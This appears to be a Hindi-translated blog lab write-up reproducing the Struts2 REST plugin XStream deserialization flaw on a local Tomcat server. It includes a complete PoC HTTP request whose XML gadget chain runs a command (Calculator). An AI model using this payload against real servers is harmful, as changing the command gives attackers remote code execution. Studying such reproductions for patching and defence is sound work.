
मूल लेख का पता: http://blog.csdn.net/caiqiiqi/article/details/77861477
struts2 की आधिकारिक वेबसाइट से अंतिम प्रभावित संस्करण struts-2.5.12 डाउनलोड करें, पता:
http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip
ध्यान दें: केवल struts-2.5.12-apps डाउनलोड करना है, struts-2.5.12-all.zip डाउनलोड करने की आवश्यकता नहीं है। वरना struts-2.5.12-all.zip में बहुत सी अन्य चीज़ें होती हैं, lib निर्देशिका में बहुत सारे jar पैकेज देखे जा सकते हैं।

struts-2.5.12-apps प्राप्त करने के बाद, उसमें app निर्देशिका के अंतर्गत struts2-rest-showcase.war फ़ाइल को webapps निर्देशिका में रखें, मेरा यह है
/Library/Tomcat-8.5.15/webapps फिर बस conf/server.xml फ़ाइल सेट कर लें।

यहाँ appBase को webapps निर्देशिका पर सेट करें, फिर unpackWARs को true पर सेट करें, इस तरह xxx.war अपने आप अनपैक हो जाएगा, autoDeploy को भी true पर सेट करें (हॉट डिप्लॉयमेंट?)
फिर ब्राउज़र से एक्सेस किया जा सकता है।
सीधे दर्ज करें
http://127.0.0.1:8080/struts2-rest-showcase/
यह रीडायरेक्ट होगा, फिर नीचे दिया गया पेज दिखाई देगा, किसी एक के Edit पर क्लिक करें,

फिर अनुरोध को burp पर भेजें, (मेरे पास FireFox पर प्रॉक्सी प्लगइन था, इसलिए FireFox पर आ गया) "Edit" बटन पर क्लिक करें, फिर अनुरोध को इंटरसेप्ट करें, और अनुरोध में Content-Type का मान बदल दें application/xml, फिर POST डेटा को PoC में दिए गए xml सामग्री से बदल दें।
晴天 गुरु का PoC
POST /struts2-rest-showcase/orders/3;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1663
Referer: http://127.0.0.1:8080/struts2-rest-showcase/orders/3/edit
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
सफलतापूर्वक कैलकुलेटर खुल गया

फिर पेज पर ढेर सारी त्रुटियाँ देखी जा सकती हैं
